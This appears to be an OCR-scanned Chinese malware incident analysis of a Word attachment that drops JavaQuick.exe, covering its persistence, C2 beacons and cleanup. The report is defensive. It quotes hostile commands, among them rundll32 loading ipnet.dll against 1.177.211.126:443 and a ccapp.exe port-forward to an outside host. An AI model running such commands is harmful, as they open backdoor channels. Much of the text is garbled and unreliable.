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(2. 25488~ © @ Lo g = RIHEF U202 TE N e BT
H 4% % B % (logo)~ 4k 1% % = Office Word 1] % -

LM %R B3 Virustotal 4RI R 0 gm0t b & 13/47 0 ¥ 28%

ofe I 5 i A HhiE L F b & B0 0T L 3% Tz A eh Hash i o

(1).SHA256:448357791c7c6700e7a756345233be59a0a685e2b331c6ce3b067
3c20f1bf5d3

(2). MD5: 4b5f4a003538c2f17f940eb05ddecf99

2013/07/15  H = k& {5 RS B 7 RGEIHF T HA

(1).BzFa 5 Asus erEee PC £ 34 & g o

(2).7 * e E ki WInXP (x86) sp2 » & % 2 ix o i3 48 42 3¢
(3). 7% #E e Office 5= & 5 2007 5% » & % Eix @ i34 f250 o

(4). £ * Wireshark p|éx3% s 4 2 #2_ Pcap 37
(5). % & * Currport # 2 #; 4 & & L@ SUB L * Jeim o

STEP 13 STEP 1.2

School Mail Server Out5|de Ma|I Server

, STEP 1.4 ‘é"
TEP 2.2 STEP24  STEP1.1 | /N
Ma|ICIOuS TEP 2.1 GET POST Malicious
Attachment | Attachment
Off|ce PC STEP 2.3
STEP 3 - -+p
Netbios Name

Query / 88.33. 217 272:80 1.177. 211 126:443 Hacker
Italy Korea (C&C)

@@@ STEP 1.1-14: REBEBERUHZZRHBE -
STEP 2.1 : Office PC &R RUEMA I 18 B BLRFI A B SNEAR -

g?%ﬁg%? STEP 2.2 Office PC 3] 88.33.217.272 IR 2375 -
S yecage1gy  STEP23:8833217.272 AIfE@I 1177.211126 SAERTMER
-95.186. STEP 2.4+ Office PC EIA/1.177.211.126 (CRC) B BISHMBZR -
STEP 3 : Office PC il ARZE T EmHMEEM Netbios RIFHE -
PlE AR

B ERMERGELE A2 - &t MlavaQuick.exe y 4258 B 4530 F B #4
7 » 3% 4%5% & % > C:\Documents and Settings\User\Application Data\JAVA\
& T o Win7 g s 5 C:\Users\user\AppData\Roaming\JAVA\ JavaQuick.exe
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Process PID C.. Private Bytes Working Set Description Company Name
td BT Tray.exe 2032 4,924 K 2.944 K Bluetooth Tray Appli... Broadcom Corporat...
\3.
¥ procexp.exe 1408 462 11,056 K 10,980 K Sysinternals Process ... Sysinternals - www...
“ picpick.exe 3164 1.54 66,416 K 16, 180 K PicPick NTeWORKS

= M JavaQuick.exe

ERRTundll32.exe

T WINWORD.EXE

Flecapp.exe 3456 504 K 1.6 K

CPU Usage: 20.00% Comumit Charge: 49.67% Processes: 36 Physical Usage: 60.25%

| TCP{IP | Security | Environment fl Strings | | Image | Performance | Performance Graph | DiskandNetwork | Threads |
Image ‘ Performance | Performance Graph | Disk and Metwork | Threads | TCR{IP ‘ Security Environment {| Strings |
Image File Resolve addresses
F - | Local Address Remote Addr...  State
Version:  nja TCP  eee:l250 host27-217stat... CLOSE_WAIT
Time: 2004/8/5 _+4F 04:00
Path:
‘C'\Documents and Settings\mingApplication DatalJAvA}JavaQuick.exe ‘
Command line:
[ e \Documents and Settings\minglApplication Data\JAVA\Jaanulck exe" ‘
Current directory:
EC:\Documents and Settingsiming|# flattachment}, ‘
Parent:  <Mon-existent Process>(2908)
User: EEE\keroro
Started: T 04:45:05 2013/7/15 Bring to Front
Comment: | Kill Process
Data Execution Prevention (DEP)
Thread stack at time port was opened Stack
(o] Cow ] o Coe)

Bl 1 ~ procexp # B %
3. # JavaQuickexe 4 7 > PP € B »:iM AP M BRI p B
# o
(1). Win7(x86)iplz# 1 7 € B » :xp 8757 B8 p ffcd o

HE2 e 5

& 1 Microsoft Qutlook ... Outlook Expr... Microsoft Corpo... ciprogram filesioutlook expressisetup50.exe
HKCU\Software\MicrosoftiWindows\CurrentVersiom\Run

@ DAEMON Tools Lite DAEMON To... Disc Soft Ltd ciprogram filesidaemon tools liteidtlite exe

M JavaQuick cidocuments and settingsimingiapplication dataijava\javaquick exe
“ PicPick Start PicPick NTeWORKS cidocuments and settingsimingi\sEE\picpickportable\picpick exe

| A Image Hiiacks | [%] Applnit %] KnownDLLs | @& ‘winlogon | & Winsock Providers <2 Print Monitors & LSA Providers & Network Providers
| O evewting | Hlogon | H Ewploer | @ ImemetEwploer | () ScheduledTasks | b Services | S Divers | [ Codecs | [ BootExecue |
Autorun Entry Description Publisher Image Path A
& 8 BTTrayInk Bluetooth Tra... Broadcom Corp... ciprogram filestwidcommibluetooth software\bttray .exe
2 HKLM\SOFTWARE\Microsoftictive Setupiinstalled Components
M Address Book 6 Outlook Expr... Microsoft Corpo... ciprogram filesioutiook expressisetups0 exe
& Google Chrome Google Chro... Google Inc. ciprogram files\googlet\chrometapplication\28.0.1500.72\installerc. ..

Ready.

B 2 ~ autoruns ¥ Rl f #75 JavaQuick »t B {8 PF p # fads

(2).scr & & 425 ¢ A& 4 JavaQuickexe» ¥ ¢t ¢ & 2 ka4281x3.|og e P

féﬁﬁ% Feph E AP e

Time of Day Process Name FID Cperation Path
Ik 044505, B RE4TICE EuiENED e DOC 2008 Bk CreateFile Cr\Documents and Settingsbming\ I attach ment\ad 2813 log
[t 04:45:05.... W] 4TI EWENED e DOC 2008 Bh QueryAttribute TagFile Cr\Documents and Settingsbming VI attach ment\ad 2813, log
[ 04:45:05.... W] 4TI EIENEN e DOC 2008 Bk SetDisposttionInformationFile C:\Documents and SettingshmingVIEfEtattach mentWad281x3 log
-4 04:45:05.... @?‘RGWHW\E&@W%WE%ICS.DOC 2008 @Closel:de Cr\Documents and Settingsbming VI attach ment\ad 2813, log

Result
SUCCESS
SUCCESS
SUCCESS
SUCCESS

B 3 ~ procmon 42 5 ¥ 47 1¥ frgz JavaQuick.exe & # = ;¢
4. t* JavaQuick.exe ** % F #4 {7 15 - ¢ 7 C:\Documents and Settings\User\Local




Setting\Temp & =& = # B fx— B & 5 T~gth74l.doc, % - 3 4 &
5 2B hword A ©
3 Win7 0k 5 5 C:\Users\user\AppData\Local\Temp\~gth74l.doc -

Time of Day  Process Name PID  Operation Path
1t 04:45:21, .. B RE47TICHE Erissiie: DOC 2008 2R CreateFile CProgram Files\icrosoft Office\Office I2VWINWORD EXE SUCCESS
It 04:45:21.... B SREAPEIC A GUIENED res DOC 2008 [BA CreateFileMapping CProgram Files\icrosoft Office\Office 12V INWORD EXE SUCCESS
-t 04:45:21... B RE4THUCEEUESEN e DOC 2008 [BA CueryStandard Infor mationFile C:Program Files\hMicrosoft Office\Cifice 1 2YWINWCRD.EXE SUCCESS
It 04:45:21.... B SREAPEIC A GUIENED res DOC 2008 [BA CreateFileMapping CProgram Files\icrosoft Office\Office 12V INWORD EXE SUCCESS
et 04:45:21, ., B SRe47 1o (ol 200 [ CloseFile CiProgram Files\icrosoft Office\Office 1I2VWINWORD EXE SUCCESS
l-tF 04:45:21... B Re47 414 B 2008 (A ReadFile CProgram Files\icrosoft Office\Office I2W INWORD EXE SUCCESS
[t 04:45:21,... W] HRe47TIEE 2005 [ Guervpen C\Program Files\Wicrosoft Office\Office I2VWINWORD EXE SUCCESS

B 4 ~ procmon g% scr & & #4258 & 4 ® B fx T~gth74l.doc 4
% B T JavaQuick.exe ¢ * Ak SR Bk o A 48
88.33.217.272 rPort80 it {7 T AL % »  H p IP BRI R LA o
(1). gt e £2215 > B a8 ¢ GET
/docs/index.jsp?/QRTF96.jsp?1=QPI5RJjO9IKjnSwhkRwjk8MI5DmIZ3M
Y5SOpB8AA i g+ A 4% 88.33.217.272 -
(2.:2xhidamica# e ¢ v RBE 4 A % 4 "Connect Failed”
html 4% -

NetWitness Reconstruction for session ID: 74 ( Source 140. 11038, Target 88.33.217.27 : 80)
Time 7/15/2013 17:26:35 t0 7/15/2013 17:32:35  Packet Size 1,079 bytes  Payload Size 427 bytes

GET /docs/index. jsp?/QRTFO6 . jep?1=0PI5RT 09K jnSwhkRw jkl [5DulZ3My5S0p8Ak HTTP /1.1 HTTP/1.1 200 0K
Server: Apache-Coyote/l.1

index_refer: 1=0PqDad Content-Type: text/html;charset=UTF-§

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Content-length: 14
Host: 88.33.217.27 Date: Mon, 15 Jul 2013 09:45:25 GMT

Connection: Keep-Alive
Cookie: JSESSI10NID=9024E09D 1F¢2CDEDBBR4DSFTO9RCEEID Connect Failed

15 % peap ¢ 7t

# JavaQuick.exe 4 7 £ 17 p¥ 35 4 5 » 4 & rundli32.exe § 4 & & 42" £

o3 e Al (7o e pF emd.exe 3 orundll32.exe #red et a3 4250 o

(1). & & 4255 % rundli32.exe A 4 ipnet.dll w 1.177.211.126:443 i {7 @ & -

(2).C:\windows\temp\ipnet.dll  * Virustotal # i#] & ** ] 20/47 51 & 7, #2.5% >
sedll 5 2R R bR R oo

(3). 4t ¢ F R BiE G 1L26MB chraw #h% » N 7 G4 % E 2
T e s i P A A enil AR R

J Run a DLL as an App
(Mot verified) Microsoft Corporation 3 b s e [
Version:  5.1.2600.2180 TCP  eee:l251 1.177.211.126:https ESTABLISHED

Time:  2004/8/5 L 04:00

Path:
CAWINDOWS!system32irundli32.exe

B rundli32 exe:2040 Properties [E)E)X] W rundnz2 exe:2040 Properties
TCP/IP Security Environment Strings Image Performance Performance Graph Disk and Netwark Threads
Image Performance Performance Graph Disk and Network Threads | TCP/IP Security Environment Strings
Image File Resolve addresses

I rundla2.exe Ci\wi dll EntryPoint 1.177.211.126 443

C:\Documents and Settings\ming| £\ attachment}

Parent:  JavaQuick.exe(2980) =)
Verif
N
Started: L9 10:20:43 2013/7/16 Bring to Front
Conment; |

Data Execution Prevention (DEP) DEP

Thiead stack at time port was opened




¢\ cmd .exe:2044 Properties

C)E)X) o emd.exe:2944 Rroperties

TCRIP |
Image

I Security Environment |
| Performance | Performance Graph Disk and Network

Image Performance |

Security

Performance Graph

| Disk and Network Threads

TCRIP |

Image File

Version:

Windows Command Processor

(Not verified) Microsoft Corporation
5.1.2600.2180

Time:  2004/8/5 £ 04:00
Path:
|c:iwmDows|system3zicmd exe

Command line:

emd.exe

Current directory:

|C:wINDO! o,
Parent:  rundl32.exe(2040)
User:  EEEkeroro

Bring to Front
Kill Process

Started: b4 10:28:33 2013/7/16

Comment: i

Data Execution Prevention (DEP) DEP

Strings

Resolve addresses

Protocol | Local Address

Remote Address  State

Thiead stack at time port was opened

=) Cew )

=) Com )

,—

# JavaQuick.exe 4 {7
2¥ Tccapp.exe j it 4 » ﬁ"*",f T4 1S

jed m

= Windows X2 H%T

&

D) ATRIEEEHER - Findovs B XBEHETSBERH
W Sinig-

REERRRIEEEAMNE?

ZHEAW:  ccapp
BITA®: K4

[(FRHER | [ BEHE0 | [ Reansw
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Bl - B
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i ccapp.exe:3456 Properties

NORRAR E G R AT R

EENEPRY TY R

EBX

I =)

j2eculy
Image | Pperformance

{ Environment I
| Performance Graph | Disk and Netwark

strngs
| Threads |

Image File
Version:  nja

Time:  2013(7/16 b9 10:28

| ‘C:\WINDOWS\systemaz\Com\c(app.exe
ommand line:

[Ecapp

Current directory:

|c:\WINDOWS\system32\Com)

Bring to Front

Parent:  <Mon-existent Process>(3354)
User: EEEikeroro

Started: b 10:28:57 2013/7/16
Comment: ||

Kill Process

Data Execution Prevention (DEP)

o Com

Bl 6~ 7 VA& R ) ccapp B3 4

(1).
).
@3).

3% ccapp.exe & % >t C:\WINDOWS\system32\Com\ = > & # {58 ¢ & o
i# * Virustotal #& & ccapp.exe #& 1 +¢ &) 5 12/47 » 5 % £ svchost.exe °
#t ccapp.exe ¢ @iz 3 f# IP :& {7 netbios name query :

4 & IP 5:58.212.109.163 ~ 61.164.51.196 ~ 222.95.186.102 -




2013/7/16 4 10:28:59  Added ccapp.exe TCP 0.0.0.0:80 0.0.0.0:*

2013/7/16 4+ 10:29:17 Added  ccapp.exe TCP 140. 0 58.212.109.163:27285

2013/7/16 =4~ 10:29:17 Added  ccapp.exe TCP 140. 1261  61.164.51.196:214

2013/7/16 4 10:29:25 Removed ccapp.exe TCP 140. 1261  61.164.51.196:214

2013/7/16 =4~ 10:29:33 Removed ccapp.exe TCP 140. 80 58.212.109.163:27285

2013/7/16 4 10:39:38 Added  ccapp.exe TCP 0.0.0.0:8012 0.0.0.0:*

2013/7/16 =4~ 10:39:42 Added  ccapp.exe TCP 140 1268 61.164.51.196:214

2013/7/16 4 10:39:42 Added  ccapp.exe TCP 140.:8012 222.95.186.102:6883

2013/7/16 =4~ 10:39:52 Removed ccapp.exe TCP 140 1268 61.164.51.196:214

2013/7/16 4 10:40:20 Removed ccapp.exe TCP 0.0.0.0:80 0.0.0.0:*

2013/7/16 =4 10:40:24 Removed ccapp.exe TCP 0.0.0.0:8012 0.0.0.0:*

2013/7/16 _F4F 10:43:00 Removed ccapp.exe TCP_ 140. 8012 222.95.186.102:6883

View 2013-Jul-16 10:20:34 IP [ UDP / NETEBIOS 5528 & 140, = 1.177.211.126 @ 137 (netbios-ns) -= 137 (netbios-ns)
View 2013-Jul-16 10:29:05 IP / UDP / NETBIOS 5528 A 140, >58.212.109.163 @ 137 (netbios-ns) -> 137 (netbios-ns)
View 2013-Jul-16 10:29:05 IP / UDP / NETEIOS 828B 140, > 61.164.51.196 @ 137 (nethios-ns) -> 137 (netbios-ns)
View 2013-Jul-16 10:39:30 IP [ UDP / NETBIOS 276 B & 140, = 222.95.186.102 @ 137 (netbios-ns) -= 137 (netbios-ns)
View 2013-Jul-16 14:11:45 IP [ UDP / NETBIOS 7.99 KB A 140, >140.117.71.255 @ 137 (netbios-ns) -> 137 (netbios-ns)

Bl 7 ~ Netbios name query
8. 4T% Mz iRl (RAM) A 471 & Audit Viewer # i/ :

(1). JavaQuick.exe #2. & 4 {7 ® & &k String 4o > #72] 1.177.211.126 % =
B R TOR AR A g

| Enumerated Handlesl Memory Sectionsl DLLs | 5trings| Ports ‘

PID Protocol Local Port  Local IP Remote... Remote IP State

2040 TCP 1251 140, N 443 1.177.211.126

ESTABLISHED

 Enumerated Handles | Memory Sections | DLLs | Strings | Ports |

String
rundl32.exe C:\windows\temp'\ipnet.dl,EntryPoint 1.177.211.126 443

®] 8 ~ JavaQuick.exe — rundll32.exe 4 * ipnet.dll if 3] 1.177.211.126:443
(2). ¢ JavaQuick.exe # {7 rundll32.exe  fx* ercmd.exe 7 &
a. 3 7 ¥ gastring %k 4% > 2 3 rundll32.exe =¥ =7 cmd.exe 4 # {7
taskkill.exe # 'J“$ AR o

Enumerated Handles | Memory Sections | DLLs | Strings | Ports |

String
VYWINDOWS\system32\cmd.exe - taskkil /pid 3536 /f

B 9 ~ PID:3536 3% 4% & 44 taskkill #

'z

T

| Enumerated Handles | Memory Sections | DLLs | Strings |Ports

String
\WINDOWS\system32\cmd.exe - taskkil /pid 3456 /f

@ 10 ~ PID:3456 # % )'j.%{ccapp.exe 3% A% R Ak taskkill %H'J%
b. 24 {7 ccapp.exe i 4 T 61.164.51.196:214 1 s

Enumerated Handlesl Memory Sectionsl DLLs | Strings |Ports |

String
YWWINDOWS\system32\cmd.exe - ccapp -f 1 -p 8012 -5 61.164.51.196 -0 214 -e

B 11 ~ 34 {7 ccapp.exe 2 ¥ 61.164.51.196:214 i R




c. st i e vnet32.dll k & 24 ipnet.dll

 Enumerated Handles | Memory Sections | DLLs | Strings | Ports |

String
D:\_LinShi_Horse\wnet32.dl c:\windows\temp\ipnet.dl

B 12 ~ & i vnet32.dll % & 4 ipnet.dll
9. BR AL RIF S

(1). %4 [JavaQuick.exey + & # i
a. XP gz C:\Documents and Settings\User\Application Data\JAVA\ -
b. Win7 g = C:\Users\user\AppData\Roaming\JAVA\ -
(2). #-% 1% “rword 4 % T~gth74l.doc 5 # I -
a. XP gz C:\Documents and Settings\User\Local Setting\Temp\ -
b. Win7 g j= C:\Users\user\AppData\Local\Temp\ -
(3). %7 i &4 e+ Fecappexey Bifg o B
C:\WINDOWS\system32\Com\ -
(4). %7 i & 2 g4 Cipnetdil i B2 /% 5 C:\windows\temp)\ »
(5)-f1* autoruns 1 % £ regedit 3 £ #-FF 4% p #° fx#> JavaQuick.exe 1 #5 # |
“ﬁ% » 1= HKCU\Software\Microsoft\Windows\Current\Version\Run\ -
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